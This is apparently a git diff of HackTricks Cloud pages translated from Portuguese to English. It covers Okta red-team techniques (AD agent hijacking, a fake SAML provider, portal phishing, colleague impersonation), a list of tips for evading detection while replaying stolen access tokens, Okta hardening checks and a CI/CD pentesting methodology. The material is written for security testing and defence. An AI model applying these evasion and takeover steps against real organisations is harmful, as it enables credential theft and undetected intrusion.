**Verifique o ataque em** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
|
||||
**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
|
||||
|
||||
### Sequestro do AD como Administrador
|
||||
### Hijacking AD As an Admin
|
||||
|
||||
Esta técnica envolve sequestrar um Agente AD da Okta obtendo primeiro um Código OAuth, e então solicitando um token de API. O token está associado a um domínio AD, e um **conector é nomeado para estabelecer um agente AD falso**. A inicialização permite que o agente **processe tentativas de autenticação**, capturando credenciais via API da Okta. Ferramentas de automação estão disponíveis para agilizar esse processo, oferecendo um método contínuo para interceptar e lidar com dados de autenticação dentro do ambiente Okta.
|
||||
This technique involves hijacking an Okta AD Agent by first obtaining an OAuth Code, then requesting an API token. The token is associated with an AD domain, and a **connector is named to establish a fake AD agent**. Initialization allows the agent to **process authentication attempts**, capturing credentials via the Okta API. Automation tools are available to streamline this process, offering a seamless method to intercept and handle authentication data within the Okta environment.
|
||||
|
||||
**Verifique o ataque em** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
|
||||
**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
|
||||
|
||||
### Provedor SAML Falso da Okta
|
||||
### Okta Fake SAML Provider
|
||||
|
||||
**Verifique o ataque em** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
|
||||
**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
|
||||
|
||||
A técnica envolve **implantar um provedor SAML falso**. Ao integrar um Provedor de Identidade (IdP) externo dentro da estrutura da Okta usando uma conta privilegiada, os atacantes podem **controlar o IdP, aprovando qualquer solicitação de autenticação à vontade**. O processo envolve configurar um IdP SAML 2.0 na Okta, manipulando a URL de Single Sign-On do IdP para redirecionamento via arquivo de hosts local, gerando um certificado autoassinado e configurando as configurações da Okta para corresponder ao nome de usuário ou email. Executar com sucesso esses passos permite autenticação como qualquer usuário da Okta, contornando a necessidade de credenciais individuais de usuário, elevando significativamente o controle de acesso de maneira potencialmente não percebida.
|
||||
The technique involves **deploying a fake SAML provider**. By integrating an external Identity Provider (IdP) within Okta's framework using a privileged account, attackers can **control the IdP, approving any authentication request at will**. The process entails setting up a SAML 2.0 IdP in Okta, manipulating the IdP Single Sign-On URL for redirection via local hosts file, generating a self-signed certificate, and configuring Okta settings to match against the username or email. Successfully executing these steps allows for authentication as any Okta user, bypassing the need for individual user credentials, significantly elevating access control in a potentially unnoticed manner.
|
||||
|
||||
### Ataque de Impersonação de Colega
|
||||
### Phishing Okta Portal with Evilgnix
|
||||
|
||||
Os **atributos que cada usuário pode ter e modificar** (como email ou primeiro nome) podem ser configurados na Okta. Se uma **aplicação** estiver **confiando** como ID um **atributo** que o usuário pode **modificar**, ele poderá **impersonar outros usuários nessa plataforma**.
|
||||
In [**this blog post**](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23) is explained how to prepare a phishing campaign against an Okta portal.
|
||||
|
||||
Portanto, se o app confiar no campo **`userName`**, você provavelmente não conseguirá mudá-lo (porque geralmente não é possível alterar esse campo), mas se confiar, por exemplo, em **`primaryEmail`**, você pode ser capaz de **mudá-lo para o endereço de email de um colega** e impersoná-lo (você precisará ter acesso ao email e aceitar a mudança).
|
||||
### Colleague Impersonation Attack
|
||||
|
||||
Note que essa impersonação depende de como cada aplicação foi configurada. Apenas aquelas que confiam no campo que você modificou e aceitam atualizações serão comprometidas.\
|
||||
Portanto, o app deve ter esse campo habilitado se existir:
|
||||
The **attributes that each user can have and modify** (like email or first name) can be configured in Okta. If an **application** is **trusting** as ID an **attribute** that the user can **modify**, he will be able to **impersonate other users in that platform**.
|
||||
|
||||
Therefore, if the app is trusting the field **`userName`**, you probably won't be able to change it (because you usually cannot change that field), but if it's trusting for example **`primaryEmail`** you might be able to **change it to a colleagues email address** and impersonate it (you will need to have access to the email and accept the change).
|
||||
|
||||
Note that this impersoantion depends on how each application was condigured. Only the ones trusting the field you modified and accepting updates will be compromised.\
|
||||
Therefore, the app should have this field enabled if it exists:
|
||||
|
||||
<figure><img src="../../images/image (175).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Eu também vi outros apps que eram vulneráveis, mas não tinham esse campo nas configurações da Okta (no final, diferentes apps são configurados de maneira diferente).
|
||||
I have also seen other apps that were vulnerable but didn't have that field in the Okta settings (at the end different apps are configured differently).
|
||||
|
||||
A melhor maneira de descobrir se você poderia impersonar alguém em cada app seria tentar!
|
||||
The best way to find out if you could impersonate anyone on each app would be to try it!
|
||||
|
||||
## Evitando políticas de detecção comportamental <a href="#id-9fde" id="id-9fde"></a>
|
||||
## Evading behavioural detection policies <a href="#id-9fde" id="id-9fde"></a>
|
||||
|
||||
As políticas de detecção comportamental na Okta podem ser desconhecidas até serem encontradas, mas **contorná-las** pode ser alcançado **direcionando-se diretamente para as aplicações Okta**, evitando o painel principal da Okta. Com um **token de acesso Okta**, reproduza o token na **URL específica da aplicação Okta** em vez da página principal de login.
|
||||
Behavioral detection policies in Okta might be unknown until encountered, but **bypassing** them can be achieved by **targeting Okta applications directly**, avoiding the main Okta dashboard. With an **Okta access token**, replay the token at the **application-specific Okta URL** instead of the main login page.
|
||||
|
||||
As principais recomendações incluem:
|
||||
Key recommendations include:
|
||||
|
||||
- **Evite usar** proxies de anonimização populares e serviços de VPN ao reproduzir tokens de acesso capturados.
|
||||
- Certifique-se de que **strings de agente de usuário consistentes** entre o cliente e os tokens de acesso reproduzidos.
|
||||
- **Evite reproduzir** tokens de diferentes usuários do mesmo endereço IP.
|
||||
- Tenha cautela ao reproduzir tokens contra o painel da Okta.
|
||||
- Se souber os endereços IP da empresa vítima, **restrinja o tráfego** para esses IPs ou seu intervalo, bloqueando todo o outro tráfego.
|
||||
- **Avoid using** popular anonymizer proxies and VPN services when replaying captured access tokens.
|
||||
- Ensure **consistent user-agent strings** between the client and replayed access tokens.
|
||||
- **Refrain from replaying** tokens from different users from the same IP address.
|
||||
- Exercise caution when replaying tokens against the Okta dashboard.
|
||||
- If aware of the victim company's IP addresses, **restrict traffic** to those IPs or their range, blocking all other traffic.
|
||||
|
||||
## Fortalecimento da Okta
|
||||
## Okta Hardening
|
||||
|
||||
A Okta tem muitas configurações possíveis, nesta página você encontrará como revisá-las para que sejam o mais seguras possível:
|
||||
Okta has a lot of possible configurations, in this page you will find how to review them so they are as secure as possible:
|
||||
|
||||
{{#ref}}
|
||||
okta-hardening.md
|
||||
{{#endref}}
|
||||
|
||||
## Referências
|
||||
## References
|
||||
|
||||
- [https://trustedsec.com/blog/okta-for-red-teamers](https://trustedsec.com/blog/okta-for-red-teamers)
|
||||
- [https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23](https://medium.com/nickvangilder/okta-for-red-teamers-perimeter-edition-c60cb8d53f23)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -6,72 +6,72 @@
|
||||
|
||||
### People
|
||||
|
||||
Do ponto de vista de um atacante, isso é super interessante, pois você poderá ver **todos os usuários registrados**, seus **endereços de e-mail**, os **grupos** dos quais fazem parte, **perfis** e até **dispositivos** (móveis junto com seus sistemas operacionais).
|
||||
From an attackers perspective, this is super interesting as you will be able to see **all the users registered**, their **email** addresses, the **groups** they are part of, **profiles** and even **devices** (mobiles along with their OSs).
|
||||
|
||||
Para uma revisão de caixa branca, verifique se não há várias "**Ação do usuário pendente**" e "**Redefinição de senha**".
|
||||
For a whitebox review check that there aren't several "**Pending user action**" and "**Password reset**".
|
||||
|
||||
### Groups
|
||||
|
||||
Aqui é onde você encontra todos os grupos criados no Okta. É interessante entender os diferentes grupos (conjunto de **permissões**) que podem ser concedidos aos **usuários**.\
|
||||
É possível ver as **pessoas incluídas nos grupos** e os **aplicativos atribuídos** a cada grupo.
|
||||
This is where you find all the created groups in Okta. it's interesting to understand the different groups (set of **permissions**) that could be granted to **users**.\
|
||||
It's possible to see the **people included inside groups** and **apps assigned** to each group.
|
||||
|
||||
Claro, qualquer grupo com o nome de **admin** é interessante, especialmente o grupo **Administradores Globais**, verifique os membros para saber quem são os membros mais privilegiados.
|
||||
Ofc, any group with the name of **admin** is interesting, specially the group **Global Administrators,** check the members to learn who are the most privileged members.
|
||||
|
||||
Em uma revisão de caixa branca, **não deve haver mais de 5 administradores globais** (melhor se houver apenas 2 ou 3).
|
||||
From a whitebox review, there **shouldn't be more than 5 global admins** (better if there are only 2 or 3).
|
||||
|
||||
### Devices
|
||||
|
||||
Encontre aqui uma **lista de todos os dispositivos** de todos os usuários. Você também pode ver se está sendo **gerenciado ativamente** ou não.
|
||||
Find here a **list of all the devices** of all the users. You can also see if it's being **actively managed** or not.
|
||||
|
||||
### Profile Editor
|
||||
|
||||
Aqui é possível observar como informações chave, como nomes, sobrenomes, e-mails, nomes de usuário... são compartilhadas entre o Okta e outras aplicações. Isso é interessante porque, se um usuário puder **modificar em Okta um campo** (como seu nome ou e-mail) que depois é usado por uma **aplicação externa** para **identificar** o usuário, um insider poderia tentar **assumir outras contas**.
|
||||
Here is possible to observe how key information such as first names, last names, emails, usernames... are shared between Okta and other applications. This is interesting because if a user can **modify in Okta a field** (such as his name or email) that then is used by an **external application** to **identify** the user, an insider could try to **take over other accounts**.
|
||||
|
||||
Além disso, no perfil **`User (default)`** do Okta, você pode ver **quais campos** cada **usuário** possui e quais são **graváveis** pelos usuários. Se você não conseguir ver o painel de administração, basta ir para **atualizar suas informações de perfil** e você verá quais campos pode atualizar (note que para atualizar um endereço de e-mail, você precisará verificá-lo).
|
||||
Moreover, in the profile **`User (default)`** from Okta you can see **which fields** each **user** has and which ones are **writable** by users. If you cannot see the admin panel, just go to **update your profile** information and you will see which fields you can update (note that to update an email address you will need to verify it).
|
||||
|
||||
### Directory Integrations
|
||||
|
||||
Os diretórios permitem que você importe pessoas de fontes existentes. Eu imagino que aqui você verá os usuários importados de outros diretórios.
|
||||
Directories allow you to import people from existing sources. I guess here you will see the users imported from other directories.
|
||||
|
||||
Eu não vi isso, mas imagino que seja interessante descobrir **outros diretórios que o Okta está usando para importar usuários**, então, se você **comprometer esse diretório**, poderia definir alguns valores de atributos nos usuários criados no Okta e **talvez comprometer o ambiente do Okta**.
|
||||
I haven't seen it, but I guess this is interesting to find out **other directories that Okta is using to import users** so if you **compromise that directory** you could set some attributes values in the users created in Okta and **maybe compromise the Okta env**.
|
||||
|
||||
### Profile Sources
|
||||
|
||||
Uma fonte de perfil é uma **aplicação que atua como uma fonte de verdade** para atributos de perfil de usuário. Um usuário pode ser originado por apenas uma única aplicação ou diretório de cada vez.
|
||||
A profile source is an **application that acts as a source of truth** for user profile attributes. A user can only be sourced by a single application or directory at a time.
|
||||
|
||||
Eu não vi isso, então qualquer informação sobre segurança e hacking em relação a essa opção é apreciada.
|
||||
I haven't seen it, so any information about security and hacking regarding this option is appreciated.
|
||||
|
||||
## Customizations
|
||||
|
||||
### Brands
|
||||
|
||||
Verifique na aba **Domains** desta seção os endereços de e-mail usados para enviar e-mails e o domínio personalizado dentro do Okta da empresa (que você provavelmente já conhece).
|
||||
Check in the **Domains** tab of this section the email addresses used to send emails and the custom domain inside Okta of the company (which you probably already know).
|
||||
|
||||
Além disso, na aba **Setting**, se você for administrador, pode "**Usar uma página de logout personalizada**" e definir uma URL personalizada.
|
||||
Moreover, in the **Setting** tab, if you are admin, you can "**Use a custom sign-out page**" and set a custom URL.
|
||||
|
||||
### SMS
|
||||
|
||||
Nada interessante aqui.
|
||||
Nothing interesting here.
|
||||
|
||||
### End-User Dashboard
|
||||
|
||||
Você pode encontrar aqui aplicativos configurados, mas veremos os detalhes deles mais tarde em uma seção diferente.
|
||||
You can find here applications configured, but we will see the details of those later in a different section.
|
||||
|
||||
### Other
|
||||
|
||||
Configuração interessante, mas nada super interessante do ponto de vista de segurança.
|
||||
Interesting setting, but nothing super interesting from a security point of view.
|
||||
|
||||
## Applications
|
||||
|
||||
### Applications
|
||||
|
||||
Aqui você pode encontrar todos os **aplicativos configurados** e seus detalhes: Quem tem acesso a eles, como está configurado (SAML, OpenID), URL para login, os mapeamentos entre Okta e a aplicação...
|
||||
Here you can find all the **configured applications** and their details: Who has access to them, how is it configured (SAML, OPenID), URL to login, the mappings between Okta and the application...
|
||||
|
||||
Na aba **`Sign On`** também há um campo chamado **`Password reveal`** que permitiria a um usuário **revelar sua senha** ao verificar as configurações do aplicativo. Para verificar as configurações de um aplicativo a partir do Painel do Usuário, clique nos 3 pontos:
|
||||
In the **`Sign On`** tab there is also a field called **`Password reveal`** that would allow a user to **reveal his password** when checking the application settings. To check the settings of an application from the User Panel, click the 3 dots:
|
||||
|
||||
<figure><img src="../../images/image (283).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
E você poderia ver mais detalhes sobre o aplicativo (como o recurso de revelação de senha, se está habilitado):
|
||||
And you could see some more details about the app (like the password reveal feature, if it's enabled):
|
||||
|
||||
<figure><img src="../../images/image (220).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@@ -79,121 +79,124 @@ E você poderia ver mais detalhes sobre o aplicativo (como o recurso de revelaç
|
||||
|
||||
### Access Certifications
|
||||
|
||||
Use Access Certifications para criar campanhas de auditoria para revisar o acesso dos seus usuários a recursos periodicamente e aprovar ou revogar o acesso automaticamente quando necessário.
|
||||
Use Access Certifications to create audit campaigns to review your users' access to resources periodically and approve or revoke access automatically when required.
|
||||
|
||||
Eu não vi isso sendo usado, mas imagino que, do ponto de vista defensivo, seja um bom recurso.
|
||||
I haven't seen it used, but I guess that from a defensive point of view it's a nice feature.
|
||||
|
||||
## Security
|
||||
|
||||
### General
|
||||
|
||||
- **E-mails de notificação de segurança**: Todos devem estar habilitados.
|
||||
- **Integração CAPTCHA**: É recomendado definir pelo menos o reCaptcha invisível.
|
||||
- **Segurança da Organização**: Tudo pode ser habilitado e os e-mails de ativação não devem demorar muito (7 dias está ok).
|
||||
- **Prevenção de enumeração de usuários**: Ambos devem estar habilitados.
|
||||
- Note que a Prevenção de Enumeração de Usuários não tem efeito se qualquer uma das seguintes condições for permitida (veja [Gerenciamento de usuários](https://help.okta.com/oie/en-us/Content/Topics/users-groups-profiles/usgp-main.htm) para mais informações):
|
||||
- Registro de Autoatendimento
|
||||
- Fluxos JIT com autenticação por e-mail
|
||||
- **Configurações do Okta ThreatInsight**: Registrar e impor segurança com base no nível de ameaça.
|
||||
- **Security notification emails**: All should be enabled.
|
||||
- **CAPTCHA integration**: It's recommended to set at least the invisible reCaptcha
|
||||
- **Organization Security**: Everything can be enabled and activation emails shouldn't last long (7 days is ok)
|
||||
- **User enumeration prevention**: Both should be enabled
|
||||
- Note that User Enumeration Prevention doesn't take effect if either of the following conditions are allowed (See [User management](https://help.okta.com/oie/en-us/Content/Topics/users-groups-profiles/usgp-main.htm) for more information):
|
||||
- Self-Service Registration
|
||||
- JIT flows with email authentication
|
||||
- **Okta ThreatInsight settings**: Log and enforce security based on threat level
|
||||
|
||||
### HealthInsight
|
||||
|
||||
Aqui é possível encontrar configurações **corretamente** e **perigosamente** configuradas.
|
||||
Here is possible to find correctly and **dangerous** configured **settings**.
|
||||
|
||||
### Authenticators
|
||||
|
||||
Aqui você pode encontrar todos os métodos de autenticação que um usuário poderia usar: Senha, telefone, e-mail, código, WebAuthn... Clicando no autenticador de Senha, você pode ver a **política de senha**. Verifique se é forte.
|
||||
Here you can find all the authentication methods that a user could use: Password, phone, email, code, WebAuthn... Clicking in the Password authenticator you can see the **password policy**. Check that it's strong.
|
||||
|
||||
Na aba **Enrollment**, você pode ver como os que são obrigatórios ou opcionais:
|
||||
In the **Enrollment** tab you can see how the ones that are required or optinal:
|
||||
|
||||
<figure><img src="../../images/image (143).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
É recomendável desabilitar o telefone. Os mais fortes são provavelmente uma combinação de senha, e-mail e WebAuthn.
|
||||
It's recommendatble to disable Phone. The strongest ones are probably a combination of password, email and WebAuthn.
|
||||
|
||||
### Authentication policies
|
||||
|
||||
Cada aplicativo tem uma política de autenticação. A política de autenticação verifica se os usuários que tentam fazer login no aplicativo atendem a condições específicas e impõe requisitos de fator com base nessas condições.
|
||||
Every app has an authentication policy. The authentication policy verifies that users who try to sign in to the app meet specific conditions, and it enforces factor requirements based on those conditions.
|
||||
|
||||
Aqui você pode encontrar os **requisitos para acessar cada aplicativo**. É recomendado solicitar pelo menos senha e outro método para cada aplicativo. Mas se, como atacante, você encontrar algo mais fraco, pode ser capaz de atacá-lo.
|
||||
Here you can find the **requirements to access each application**. It's recommended to request at least password and another method for each application. But if as attacker you find something more weak you might be able to attack it.
|
||||
|
||||
### Global Session Policy
|
||||
|
||||
Aqui você pode encontrar as políticas de sessão atribuídas a diferentes grupos. Por exemplo:
|
||||
Here you can find the session policies assigned to different groups. For example:
|
||||
|
||||
<figure><img src="../../images/image (245).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
É recomendável solicitar MFA, limitar a duração da sessão a algumas horas, não persistir cookies de sessão em extensões de navegador e limitar a localização e o Provedor de Identidade (se isso for possível). Por exemplo, se cada usuário deve fazer login de um país específico, você poderia permitir apenas essa localização.
|
||||
It's recommended to request MFA, limit the session lifetime to some hours, don't persis session cookies across browser extensions and limit the location and Identity Provider (if this is possible). For example, if every user should be login from a country you could only allow this location.
|
||||
|
||||
### Identity Providers
|
||||
|
||||
Os Provedores de Identidade (IdPs) são serviços que **gerenciam contas de usuário**. Adicionar IdPs no Okta permite que seus usuários finais se **autoregistrem** com suas aplicações personalizadas, primeiro autenticando-se com uma conta social ou um cartão inteligente.
|
||||
Identity Providers (IdPs) are services that **manage user accounts**. Adding IdPs in Okta enables your end users to **self-register** with your custom applications by first authenticating with a social account or a smart card.
|
||||
|
||||
Na página dos Provedores de Identidade, você pode adicionar logins sociais (IdPs) e configurar o Okta como um provedor de serviços (SP) adicionando SAML de entrada. Depois de adicionar IdPs, você pode configurar regras de roteamento para direcionar usuários a um IdP com base no contexto, como a localização do usuário, dispositivo ou domínio de e-mail.
|
||||
On the Identity Providers page, you can add social logins (IdPs) and configure Okta as a service provider (SP) by adding inbound SAML. After you've added IdPs, you can set up routing rules to direct users to an IdP based on context, such as the user's location, device, or email domain.
|
||||
|
||||
**Se algum provedor de identidade estiver configurado**, do ponto de vista de um atacante e defensor, verifique essa configuração e **se a fonte é realmente confiável**, pois um atacante comprometendo-a também poderia obter acesso ao ambiente do Okta.
|
||||
**If any identity provider is configured** from an attackers and defender point of view check that configuration and **if the source is really trustable** as an attacker compromising it could also get access to the Okta environment.
|
||||
|
||||
### Delegated Authentication
|
||||
|
||||
A autenticação delegada permite que os usuários façam login no Okta inserindo credenciais para o servidor **Active Directory (AD) ou LDAP** de sua organização.
|
||||
Delegated authentication allows users to sign in to Okta by entering credentials for their organization's **Active Directory (AD) or LDAP** server.
|
||||
|
||||
Novamente, verifique isso, pois um atacante comprometendo o AD de uma organização poderia ser capaz de pivotar para o Okta graças a essa configuração.
|
||||
Again, recheck this, as an attacker compromising an organizations AD could be able to pivot to Okta thanks to this setting.
|
||||
|
||||
### Network
|
||||
|
||||
Uma zona de rede é um limite configurável que você pode usar para **conceder ou restringir acesso a computadores e dispositivos** em sua organização com base no **endereço IP** que está solicitando acesso. Você pode definir uma zona de rede especificando um ou mais endereços IP individuais, intervalos de endereços IP ou locais geográficos.
|
||||
A network zone is a configurable boundary that you can use to **grant or restrict access to computers and devices** in your organization based on the **IP address** that is requesting access. You can define a network zone by specifying one or more individual IP addresses, ranges of IP addresses, or geographic locations.
|
||||
|
||||
Depois de definir uma ou mais zonas de rede, você pode **usá-las em Políticas de Sessão Global**, **políticas de autenticação**, notificações de VPN e **regras de roteamento**.
|
||||
After you define one or more network zones, you can **use them in Global Session Policies**, **authentication policies**, VPN notifications, and **routing rules**.
|
||||
|
||||
Do ponto de vista de um atacante, é interessante saber quais IPs são permitidos (e verificar se algum **IP é mais privilegiado** que outros). Do ponto de vista de um atacante, se os usuários devem acessar de um endereço IP ou região específica, verifique se esse recurso está sendo usado corretamente.
|
||||
From an attackers perspective it's interesting to know which Ps are allowed (and check if any **IPs are more privileged** than others). From an attackers perspective, if the users should be accessing from an specific IP address or region check that this feature is used properly.
|
||||
|
||||
### Device Integrations
|
||||
|
||||
- **Gerenciamento de Endpoint**: O gerenciamento de endpoint é uma condição que pode ser aplicada em uma política de autenticação para garantir que dispositivos gerenciados tenham acesso a um aplicativo.
|
||||
- Eu ainda não vi isso sendo usado. TODO
|
||||
- **Serviços de notificação**: Eu ainda não vi isso sendo usado. TODO
|
||||
- **Endpoint Management**: Endpoint management is a condition that can be applied in an authentication policy to ensure that managed devices have access to an application.
|
||||
- I haven't seen this used yet. TODO
|
||||
- **Notification services**: I haven't seen this used yet. TODO
|
||||
|
||||
### API
|
||||
|
||||
Você pode criar tokens de API do Okta nesta página e ver os que foram **criados**, suas **permissões**, **tempo de expiração** e **URLs de Origem**. Note que os tokens de API são gerados com as permissões do usuário que criou o token e são válidos apenas se o **usuário** que os criou estiver **ativo**.
|
||||
You can create Okta API tokens in this page, and see the ones that have been **created**, theirs **privileges**, **expiration** time and **Origin URLs**. Note that an API tokens are generated with the permissions of the user that created the token and are valid only if the **user** who created them is **active**.
|
||||
|
||||
Os **Origens Confiáveis** concedem acesso a sites que você controla e confia para acessar sua organização Okta através da API do Okta.
|
||||
The **Trusted Origins** grant access to websites that you control and trust to access your Okta org through the Okta API.
|
||||
|
||||
Não deve haver muitos tokens de API, pois, se houver, um atacante poderia tentar acessá-los e usá-los.
|
||||
There shuoldn't be a lot of API tokens, as if there are an attacker could try to access them and use them.
|
||||
|
||||
## Workflow
|
||||
|
||||
### Automations
|
||||
|
||||
As automações permitem que você crie ações automatizadas que são executadas com base em um conjunto de condições de gatilho que ocorrem durante o ciclo de vida dos usuários finais.
|
||||
Automations allow you to create automated actions that run based on a set of trigger conditions that occur during the lifecycle of end users.
|
||||
|
||||
Por exemplo, uma condição poderia ser "Inatividade do usuário no Okta" ou "Expiração da senha do usuário no Okta" e a ação poderia ser "Enviar e-mail para o usuário" ou "Alterar o estado do ciclo de vida do usuário no Okta".
|
||||
For example a condition could be "User inactivity in Okta" or "User password expiration in Okta" and the action could be "Send email to the user" or "Change user lifecycle state in Okta".
|
||||
|
||||
## Reports
|
||||
|
||||
### Reports
|
||||
|
||||
Baixe logs. Eles são **enviados** para o **endereço de e-mail** da conta atual.
|
||||
Download logs. They are **sent** to the **email address** of the current account.
|
||||
|
||||
### System Log
|
||||
|
||||
Aqui você pode encontrar os **logs das ações realizadas pelos usuários** com muitos detalhes, como login no Okta ou em aplicativos através do Okta.
|
||||
Here you can find the **logs of the actions performed by users** with a lot of details like login in Okta or in applications through Okta.
|
||||
|
||||
### Import Monitoring
|
||||
|
||||
Isso pode **importar logs de outras plataformas** acessadas com o Okta.
|
||||
This can **import logs from the other platforms** accessed with Okta.
|
||||
|
||||
### Rate limits
|
||||
|
||||
Verifique os limites de taxa da API alcançados.
|
||||
Check the API rate limits reached.
|
||||
|
||||
## Settings
|
||||
|
||||
### Account
|
||||
|
||||
Aqui você pode encontrar **informações genéricas** sobre o ambiente do Okta, como o nome da empresa, endereço, **contato de cobrança por e-mail**, **contato técnico por e-mail** e também quem deve receber atualizações do Okta e que tipo de atualizações do Okta.
|
||||
Here you can find **generic information** about the Okta environment, such as the company name, address, **email billing contact**, **email technical contact** and also who should receive Okta updates and which kind of Okta updates.
|
||||
|
||||
### Downloads
|
||||
|
||||
Aqui você pode baixar agentes do Okta para sincronizar o Okta com outras tecnologias.
|
||||
Here you can download Okta agents to sync Okta with other technologies.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -6,7 +6,7 @@
|
||||
|
||||
## VCS
|
||||
|
||||
VCS significa **Version Control System**, estes sistemas permitem aos desenvolvedores **gerir o seu source code**. O mais comum é o **git** e normalmente encontrarás empresas a usá‑lo numa das seguintes **plataformas**:
|
||||
VCS stands for **Version Control System**, this systems allows developers to **manage their source code**. The most common one is **git** and you will usually find companies using it in one of the following **platforms**:
|
||||
|
||||
- Github
|
||||
- Gitlab
|
||||
@@ -18,29 +18,29 @@ VCS significa **Version Control System**, estes sistemas permitem aos desenvolve
|
||||
|
||||
## CI/CD Pipelines
|
||||
|
||||
CI/CD pipelines permitem aos desenvolvedores **automatizar a execução de code** para vários propósitos, incluindo build, testes e deploy de aplicações. Estes workflows automatizados são **disparados por ações específicas**, como pushes de code, pull requests, ou tarefas agendadas. São úteis para simplificar o processo do desenvolvimento até a produção.
|
||||
CI/CD pipelines enable developers to **automate the execution of code** for various purposes, including building, testing, and deploying applications. These automated workflows are **triggered by specific actions**, such as code pushes, pull requests, or scheduled tasks. They are useful for streamlining the process from development to production.
|
||||
|
||||
No entanto, estes sistemas precisam de ser **executados em algum lugar** e geralmente com **credenciais privilegiadas para deploy de code ou acesso a informação sensível**.
|
||||
However, these systems need to be **executed somewhere** and usually with **privileged credentials to deploy code or access sensitive information**.
|
||||
|
||||
## VCS Pentesting Methodology
|
||||
|
||||
> [!NOTE]
|
||||
> Even if some VCS platforms allow to create pipelines for this section we are going to analyze only potential attacks to the control of the source code.
|
||||
|
||||
Plataformas que contêm o source code do teu projeto têm informação sensível e é preciso ter muito cuidado com as permissões concedidas dentro desta plataforma. Estes são alguns problemas comuns across VCS platforms que um atacante poderia abusar:
|
||||
Platforms that contains the source code of your project contains sensitive information and people need to be very careful with the permissions granted inside this platform. These are some common problems across VCS platforms that attacker could abuse:
|
||||
|
||||
- **Leaks**: If your code contains leaks in the commits and the attacker can access the repo (because it's public or because he has access), he could discover the leaks.
|
||||
- **Access**: If an attacker can **access to an account inside the VCS platform** he could gain **more visibility and permissions**.
|
||||
- **Register**: Some platforms will just allow external users to create an account.
|
||||
- **SSO**: Some platforms won't allow users to register, but will allow anyone to access with a valid SSO (so an attacker could use his github account to enter for example).
|
||||
- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... there are several kind of tokens a user could steal to access in some way a repo.
|
||||
- **Register**: Some platforms will just allow external users to create an account.
|
||||
- **SSO**: Some platforms won't allow users to register, but will allow anyone to access with a valid SSO (so an attacker could use his github account to enter for example).
|
||||
- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... there are several kind of tokens a user could steal to access in some way a repo.
|
||||
- **Webhooks**: VCS platforms allow to generate webhooks. If they are **not protected** with non visible secrets an **attacker could abuse them**.
|
||||
- If no secret is in place, the attacker could abuse the webhook of the third party platform
|
||||
- If the secret is in the URL, the same happens and the attacker also have the secret
|
||||
- If no secret is in place, the attacker could abuse the webhook of the third party platform
|
||||
- If the secret is in the URL, the same happens and the attacker also have the secret
|
||||
- **Code compromise:** If a malicious actor has some kind of **write** access over the repos, he could try to **inject malicious code**. In order to be successful he might need to **bypass branch protections**. These actions can be performed with different goals in mid:
|
||||
- Compromise the main branch to **compromise production**.
|
||||
- Compromise the main (or other branches) to **compromise developers machines** (as they usually execute test, terraform or other things inside the repo in their machines).
|
||||
- **Compromise the pipeline** (check next section)
|
||||
- Compromise the main branch to **compromise production**.
|
||||
- Compromise the main (or other branches) to **compromise developers machines** (as they usually execute test, terraform or other things inside the repo in their machines).
|
||||
- **Compromise the pipeline** (check next section)
|
||||
|
||||
## Pipelines Pentesting Methodology
|
||||
|
||||
@@ -49,13 +49,6 @@ These files typically have a consistent name and format, for example — Jenkins
|
||||
|
||||
Therefore the ultimate goal of the attacker is to somehow **compromise those configuration files** or the **commands they execute**.
|
||||
|
||||
> [!TIP]
|
||||
> Some hosted builders let contributors choose the Docker build context and Dockerfile path. If the context is attacker-controlled, you may set it outside the repo (e.g., "..") to ingest host files during build and exfiltrate secrets. See:
|
||||
>
|
||||
>{{#ref}}
|
||||
>docker-build-context-abuse.md
|
||||
>{{#endref}}
|
||||
|
||||
### PPE - Poisoned Pipeline Execution
|
||||
|
||||
The Poisoned Pipeline Execution (PPE) path exploits permissions in an SCM repository to manipulate a CI pipeline and execute harmful commands. Users with the necessary permissions can modify CI configuration files or other files used by the pipeline job to include malicious commands. This "poisons" the CI pipeline, leading to the execution of these malicious commands.
|
||||
@@ -63,28 +56,28 @@ The Poisoned Pipeline Execution (PPE) path exploits permissions in an SCM reposi
|
||||
For a malicious actor to be successful performing a PPE attack he needs to be able to:
|
||||
|
||||
- Have **write access to the VCS platform**, as usually pipelines are triggered when a push or a pull request is performed. (Check the VCS pentesting methodology for a summary of ways to get access).
|
||||
- Note that sometimes an **external PR count as "write access"**.
|
||||
- Note that sometimes an **external PR count as "write access"**.
|
||||
- Even if he has write permissions, he needs to be sure he can **modify the CI config file or other files the config is relying on**.
|
||||
- For this, he might need to be able to **bypass branch protections**.
|
||||
- For this, he might need to be able to **bypass branch protections**.
|
||||
|
||||
There are 3 PPE flavours:
|
||||
|
||||
- **D-PPE**: A **Direct PPE** attack occurs when the actor **modifies the CI config** file that is going to be executed.
|
||||
- **I-DDE**: An **Indirect PPE** attack occurs when the actor **modifies** a **file** the CI config file that is going to be executed **relays on** (like a make file or a terraform config).
|
||||
- **Public PPE or 3PE**: In some cases the pipelines can be **triggered by users that doesn't have write access in the repo** (and that might not even be part of the org) because they can send a PR.
|
||||
